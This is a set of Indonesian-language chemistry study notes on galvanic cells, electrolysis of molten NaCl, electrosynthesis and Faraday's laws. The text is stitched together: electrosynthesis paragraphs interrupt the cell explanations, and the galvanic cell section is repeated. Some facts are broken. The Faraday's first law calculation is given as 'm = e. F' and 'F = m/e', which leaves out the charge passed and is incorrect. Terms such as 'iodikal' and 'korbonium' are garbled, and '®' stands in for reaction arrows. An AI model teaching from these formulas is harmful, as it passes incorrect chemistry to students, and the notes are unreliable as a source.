1.      Sel galvani adalah sel elektrokimia yang dapat menghasilkan energi listrik yang disebabkan oleh terjadinya reaksi redoks yang spontan. Jika kedua elektrodanya dihubungkan dengan sirkuit luar, dihasilkan arus litrik yang dapat dibuktikan dengan meyimpangnya jarum galvanometer yang dipasang pada rangkaian luar dari sel tersebut.

sebagai sumber listrik terjadi perubahan dari Zn menjadi Zn2+ yang larut
Zn(s) ® Zn2+(aq) + 2e- (reaksi oksidasi)
Hal ini dapat diketahui dari semakin berkurangnya massa Zn sebelum dan sesudah reaksi. Di sisi lain, elektroda Cu semakin bertambah massanya karena terjadi pengendapan Cu dari Cu2+dalam larutan.
Cu2+(aq) + 2e- ® Cu(s) (reaksi reduksi)
Pada sel tersebut elektroda Zn bertindak sebagai anoda dan elektroda Cu sebagai katoda.
Ketika “disetting”, terjadi arus elektron dari elektroda seng (Zn) ke elektroda tembaga (Cu) pada sirkuat luar. Oleh karena itu logam seng bertindak sebagai kutub negatif dan logam tembaga sebagai kutub positif. Bersamaan dengan itu pada larutan dalam sel tersebut terjadi arus positif dari kiri ke kanan sebagai akibat dari mengalirnya sebagian ion Zn2+(karena dalam larutan sebelah kiri terjadi kelebihan ion Zn2+dibandingkan dengan ion SO42-yang ada).
Zn(s) + Cu2+(aq) ® Zn2+(aq) + Cu(s)
Reaksi tersebut merupakan reaksi redoks yang spontan yang dapat digunakan untuk memproduksi listrik melalui suatu rangkaian sel elektrokimia.
Pada metode ini terjadi perubahan unsur/senyawa kimia menjadi senyawa yang sesuai dengan yang diinginkan. Penggunaan metode ini oleh para peneliti dalam mensintesis bahan didasarkan oleh berbagai keuntungan yang ditawarkan seperti peralatan yang diperlukan sangat sederhana, yakni terdiri dari dua/tiga batang elektroda yang dihubungkan dengan sumber arus listrik, potensial elektroda dan rapat arusnya dapat diatur sehingga selektivitas dan kecepatan reaksinya dapat ditempatkan pada batas-batas yang diinginkan melalui pengaturan besarnya potensial listrik serta tingkat polusi sangat rendah dan mudah dikontrol. Dari keuntungan yang ditawarkan menyebabkan teknik elektrosintesis lebih menguntungkan dibandingkan metode sintesis secara konvensional, yang sangat dipengaruhi oleh tekanan, suhu, katalis dan konsentrasi. Selain itu proses elektrosintesis juga dimungkinkan untuk dilakukan pada tekanan atmosfer dan pada suhu antara 100-900oC terutama untuk sintesis senyawa organik, sehingga memungkinkan penggunaan materi yang murah.
2.Sel elektrolisis adalah sel elektrokimia yang menimbulkan terjadinya reaksi redoks yang tidak spontan dengan adanya energi listrik dari luar. Contohnya adalah elektrolisis lelehan NaCl dengan electrode platina.
Elektroda yang dihubungkan dengan kutub negatif Power Supply – DC akan menjadi kutub negatif sel dan elektroda yang dihubungkan dengan kutub positif power supply akan menjadi kutub positif dari sel. Ion-ion Na+ akan bergerak menuju kutub negatif dan pada elektroda tersebut terjadi reaksi :

Na+ + e- ® Na (reduksi)
Ion-ion Cl- bergerak menuju elektroda positif dan pada elektroda tersebut terjadi reaksi:

2Cl- ® Cl2 + 2e-(oksidasi)
Karena pada elektroda negatif terjadi reaksi reduksi maka elektroda tersebut merupakan katoda. Pada elektroda positif terjadi reaksi oksidasi. Oleh karena itu elektroda tersebut merupakan anoda.
Prinsip dari metode elektrosintesis didasarkan pada penerapan teori-teori elektrokimia biasa sebagaimana telah dijelaskan sebelumnya. Baik teknik elektrosintesis maupun metode sintesis secara konvensional, mempunyai variabel-variabel yang sama seperti suhu, pelarut, pH, konsentrasi reaktan, metode pencampuran dan waktu. Akan tetapi perbedaannya, jika di elektrosintesis mempunyai variabel tambahan yakni variabel listrik dan fisik seperti elektroda, jenis elektrolit, lapisan listrik ganda, materi/jenis elektroda, jenis sel elektrolisis yang digunakan, media elektrolisis dan derajat pengadukan.
Pada dasarnya semua jenis sel elektrolisis termasuk elektrosintesis selalu berlaku hukum Faraday yakni:
·         Jumlah perubahan kimia yang terjadi dalam sel elektrolisis, sebanding dengan muatan listrik yang dilewatkan di dalam sel tersebut
·         Jumlah muatan listrik sebanyak 96.500 coulomb akan menyebabkan perubahan suatu senyawa sebanyak 1,0 gramekivalen (grek)
Reaksi reduksi selektif ini dapat diramalkan berjalan sesuai dengan arah yang diinginkan melalui pengaturan potensial. Pengaturan potensial juga berguna untuk suatu reaksi transformasi pembuatan suatu senyawa organik yang melibatkan iodikal, karbanion ataupun korbonium, yang secara kimia biasa tidak dapat dilakukan ternyata dapat dilaksanakan secara elektrokimia.
Perhitungan dalam elektrolisis
1.Menurut hukum FaradayI
m = e. F
ket: e=berat ekuivalen
m=berat endapan (gram)
F= m/e


2.Menurut hukum Faraday II
m1:m2=e1:e2
Sel Galvani atau disebut juga dengan sel volta adalah sel elektrokimia yang dapat menyebabkan terjadinya energi listrik dari suatu reaksi redoks yang spontan. reaksi redoks spontan yang dapat mengakibatkan terjadinya energi listrik ini ditemukan oleh Luigi Galvani dan Alessandro Guiseppe Volta.
Rangkaian Sel Galvani


Contoh rangkaian sel galvani.
sel galvani terdiri dari beberapa bagian, yaitu:
1.     voltmeter, untuk menentukan besarnya potensial sel.
2.     jembatan garam (salt bridge), untuk menjaga kenetralan muatan listrik pada larutan.
3.     anoda, elektroda negatif, tempat terjadinya reaksi oksidasi. pada gambar, yang bertindak sebagai anoda adalah elektroda Zn/seng (zink electrode).
4.     katoda, elektroda positif, tempat terjadinya reaksi reduksi. pada gambar, yang bertindak sebagai katoda adalah elektroda Cu/tembaga (copper electrode).
Proses dalam Sel Galvani
Pada anoda, logam Zn melepaskan elektron dan menjadi Zn2+ yang larut.
Zn(s) → Zn2+(aq) + 2e-
Pada katoda, ion Cu2+ menangkap elektron dan mengendap menjadi logam Cu.
Cu2+(aq) + 2e- → Cu(s)
hal ini dapat diketahui dari berkurangnya massa logam Zn setelah reksi, sedangkan massa logam Cu bertambah. Reaksi total yang terjadi pada sel galvani adalah:
Zn(s) + Cu2+(aq) → Zn2+(aq) + Cu(s)